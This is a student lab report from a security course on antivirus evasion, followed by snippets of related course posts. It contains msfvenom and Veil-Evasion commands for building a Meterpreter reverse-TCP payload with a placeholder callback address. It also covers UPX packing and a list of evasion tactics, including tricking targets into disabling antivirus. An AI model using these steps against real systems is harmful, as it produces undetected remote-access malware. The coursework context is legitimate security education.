20155236范晨歌_EXP3免杀原理与实践

20155236范晨歌_免杀原理与实践

免杀

概述

  • 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
  • 被谁杀?当然是被杀毒软件(引擎)杀。所以,要做好免杀技术(防御),就要弄清杀毒方式(攻击),也就是这些杀毒软件是如何工作的。

恶意代码检测方式

  • 基于特征码的检测

    • 特征库,也就是我们平时说的病毒库,它记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据自己检测出或网络上已发现报告的病毒,对其多段提取特征码,构成了对恶意软件查杀的重要因素;
    • 杀毒软件都有着自己的庞大病毒库(实际上就是由特征码构成的一个数据库),杀毒时只需与特征码进行比对就可判断出软件是否有毒;
    • 根据以上介绍,我总结了这种方式的查杀特点:
      • 病毒库越大,杀毒有效率越高;
      • 因为收集的是已发现病毒的特征码,所以误报率低;
      • 对部分新型病毒没有抵抗性,无法抵御零日攻击,需要定期更新病毒库。
  • 启发式恶意软件检测
    • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”对照恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧!

    • 用较为专业的角度来解释就是,分析对象文件与病毒特征库中的病毒原码进行比较,当二者匹配率大于某一值时(通常这一值较小,所以容易误报),杀毒软件就会将其列为可疑文件以进行下一步的除理。
    • 总结出以下特点:
      • 查杀效率极高,不需要依赖庞大的病毒库;
      • 对新型病毒有较好的预防性,可以抵御零日攻击;
      • 因为分析是“启发式”的、不精确的、概率性的,所以其误报率也不可忽略;
    • F-Prot是一款杀毒软件,有三个启发引擎,可见其是比较强大的,但其误报我也深感无能为力啊(后文会介绍)……
  • 基于行为的恶意软件检测
    • 是在一种程序运行的状态下对其行为进行监控,如果有敏感行为会报毒,是一种动态的监测与捕捉;
    • 总结出以下特点:
      • 不过分依赖病毒库,效率高;
      • 可以检测出获取权限等敏感行为,从这种意义上说,在一定程度上是可以抵御新型病毒的;
      • 因为是对系统的一个动态监测,会占用部分系统资源。

免杀方式

  • 只有弄懂了查杀原理,对免杀的方式才有更清晰的理解
  • 改变特征码
    • 加壳,通过加壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码
    • 对shellcode进行编码、重组
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
  • 其它方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
    • 纯手工打造一个恶意软件

实践内容

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。

2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)。

3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

首先要在kali上安装veil

由于有很多同学的前车之鉴,我先尝试了如下命令

发现有丶难受,然后换成了c语言use c/meterpreter/rev_tcp.py ,生成可执行文件

想都不用想,这个肯定是没有说法的。我就接着做了:使用msf生成一个C语言格式的shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT=5236 -f

在拿去测试一下,


详细过程

Veil-Evasion免杀平台

  • Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion
  • 在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:
    use python/meterpreter/rev_tcp  //设置payload
    set LHOST XXX.XXX.XXX.XXX   //设置反弹连接IP
    set port    //设置反弹端口 ,默认为4444
    generate    //生成
    5236    //程序名
    1
  • C语言调用Shellcode

  • 在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT= -f c
    • LHOST:攻击机IP
    • LPORT:反弹连接端口
    • c:生成一个c语言格式的Shellcode数
  • 将上述代码从虚拟机里copy出来,用Microsoft Visual Studio 2013进行编译运行生成可执行文件
  • 在kali下进入MSF打开监听进程,方式参考了学长的博文
  • 在靶机上运行该可执行文件,kali成功获取权限
  • 可以看出,生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码

压缩壳UPX压缩VS生成exe文件

但是这种壳是被针对的。。。

一些小问题:

  • 是不是F-Prot的杀毒引擎为启发式,太敏感了?
  • 是不是call指令的调用或者VirtualProtect()操作这类行为敏感,导致报毒?

实验思考

  • 免杀最好的效果就是纯手工,纯人为构造,杀软可以分析免杀软件生成的模式进而发现其隐藏的规律,而人为构造的恶意代码往往因为不具有普遍性而难以捉摸;但免杀的尝试不是一蹴而就的,就像这次的实践,是在不断的修改代码过程中,从开始21家报毒,到后来1家报毒,逐渐达到了免杀的级别,这个过程需要不断的尝试;
  • 杀毒与免杀就是矛与盾,是一种博弈关系,是一种此消彼长的竞争关系,只要互联网还存在,杀毒与免杀就是互联网安全永恒的主题;杀毒软件的薄弱在本次实践中可见一斑,所以以后在网络中要“洁身自好”,不该点击的链接别点,来历不明的第三方软件别下,定时更新病毒库、查毒、杀毒;
  • 这一种博弈关系非常微妙,就像本文提到的,本来VirSCAN.org的目的可能是帮助检查是否为病毒文件,但可能被“我们”这样的人恶意利用,用来检测自己的病毒是否免杀;又比如,加壳软件的初衷可能是版权问题,防止他人恶意反汇编、逆向,但这又能被“我们”利用,让“壳”变成病毒的保护壳,正所谓,工具本无好坏,人心才有善恶!

参考资料

原文地址:https://www.cnblogs.com/fcgfcgfcg/p/8794602.html

时间: 2024-08-29 15:30:50

20155236范晨歌_EXP3免杀原理与实践的相关文章

20155236范晨歌_exp6信息搜集与漏洞扫描

20155236范晨歌_exp6信息搜集与漏洞扫描 目录 实践目标 信息搜集 漏洞扫描 总结 实践目标 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口扫描.OS及服务版本探测.具体服务的查点 (4)漏洞扫描:会扫,会看报告,会查漏洞说明,会修补漏洞 信息搜集 实验内容 查询一个网站的注册信息,可以看到其拥有的ip段.注册地址.注册人.联系方式.所属国家城市和地理信息:追踪路由探测数据包的传递过程,并利用ip定位查看路由地理信息:利用搜索引擎精确获

20155236范晨歌 Exp7 网络欺诈技术防范

20155236范晨歌 Exp7 网络欺诈技术防范 虚拟机经常崩= =,所以基本上做一个实验换一个... 遇到了一个简单的小问题老师帮忙解决了:虚拟机没联网... 一.基础问题回答 通常在什么场景下容易受到DNS spoof攻击? 乱连没有密码的wifi,因为这样就会和连入局域网和该局域网中的各个主机都处于同一网段下了. 在日常生活工作中如何防范以上两攻击方法? URL攻击的防范主要就是打开网页的时候注意看其ip地址,事先可以通过gid命令和nslookup命令查看网站正确的ip地址,如果网站显

20145309《网络对抗技术》免杀原理与实践

20145309<网络对抗技术>免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据特征来检测:对已存在的流行代码特征的提取与比对根据行为来检测:是否有更改注册表行为.是否有设置自启动.是否有修改权限等等 (2)免杀是做什么? 使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀. (3)免杀的基本方法有哪些? 加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加:加花指令:就是加一段垃圾代码,但是并不影响程序的正

20145331魏澍琛《网络对抗》——免杀原理与实践

20145331魏澍琛<网络对抗>--免杀原理与实践 问题回答 1.杀软是如何检测出恶意代码的? 一个是基于特征码的检测,第二个是启发式恶意软件检测,最后是基于行为的恶意软件检测 2.免杀是做什么? 让病毒不被杀毒软件kill掉 3.免杀的基本方法有哪些? a)可以用这次实验所涉及的改变特征码 b)加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,效果其实不好 实践过程 一.使用msf生成后门程序的检测 1.用上节课所讲的msf生成一个后门 2.到相应网站上查

20145239杜文超《网络对抗》- 免杀原理与实践

<网络对抗>- 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 根据搜集来的最全的.最新的特征码库,检测程序有没有异常或者可疑的行为. (2)免杀是做什么? 利用一些手段,让你的的后门不被AV软件发现. (3)免杀的基本方法有哪些? 加壳.用其他语言进行重写再编译. 使用反弹式连接. 自己手工编一个. 实践总结与体会 这次的免杀实验做得非常顺利,每一个步骤基本上都一次成功,虽然这正是我所希望的但也有不好就是万一下次遇到问题可能不会解决,毕竟遇到问题.解决问题的过程才能让学习的

Exp3 免杀原理与实践

Exp3 免杀原理与实践 这次的实验令我非常兴奋,因为要对抗的是各大杀毒软件厂商,所以事先得做好很多功课.另一方面我也想看看metasploit在这场猫鼠游戏中能不能走在安全厂商的前面. 这次的目标免杀平台是64位windows 7 SP1,我用的windows 7 SP1虚拟机中事先装了一下杀毒软件: 火绒 版本:4.0.55.0 360安全卫士 版本:11.4.0.2002 -- 必须连上互联网才能正常工作 在线检测: Virustotal (www.virustotal.com) Virs

网络对抗 Exp3 免杀原理与实践 20154311 王卓然

Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的?  ①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件.  ②启发式恶意软件检测:就是根据一个程序的特征和行为如果与恶意软件相似,就判定为恶意软件. ③基于行为的恶意软件检测:同启发式,启发式偏向于对程序的特征扫描,基于行为的则是多了对程序的行为监控. (2)免杀是做什么? 免杀就是使恶意软件能不被AV软件的检测出来,其本身安装的后门能够不被发现,成功存活

2017-2018-4 20155317《网络对抗技术》EXP3 免杀原理与实践

2017-2018-4 20155317<网络对抗技术>EXP3 免杀原理与实践 一.问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 2.实践 (1) 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 首先尝试一下自己上个实验做出的后门程序 果然是不堪一击...拿去检测一下 装上veil尝试一下结果会如何 : 温馨提示一下,刚开始我是用的自己装的64的ka

2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践

#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过程 2.1-正确使用msf编码器 2.2-veil-evasion 2.3-组合应用技术实现免杀 2.4-靶机实测 2.5-基础问题回答 3-资料 1-实践目标 1.1-实践介绍:免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清楚杀毒软件(恶意软件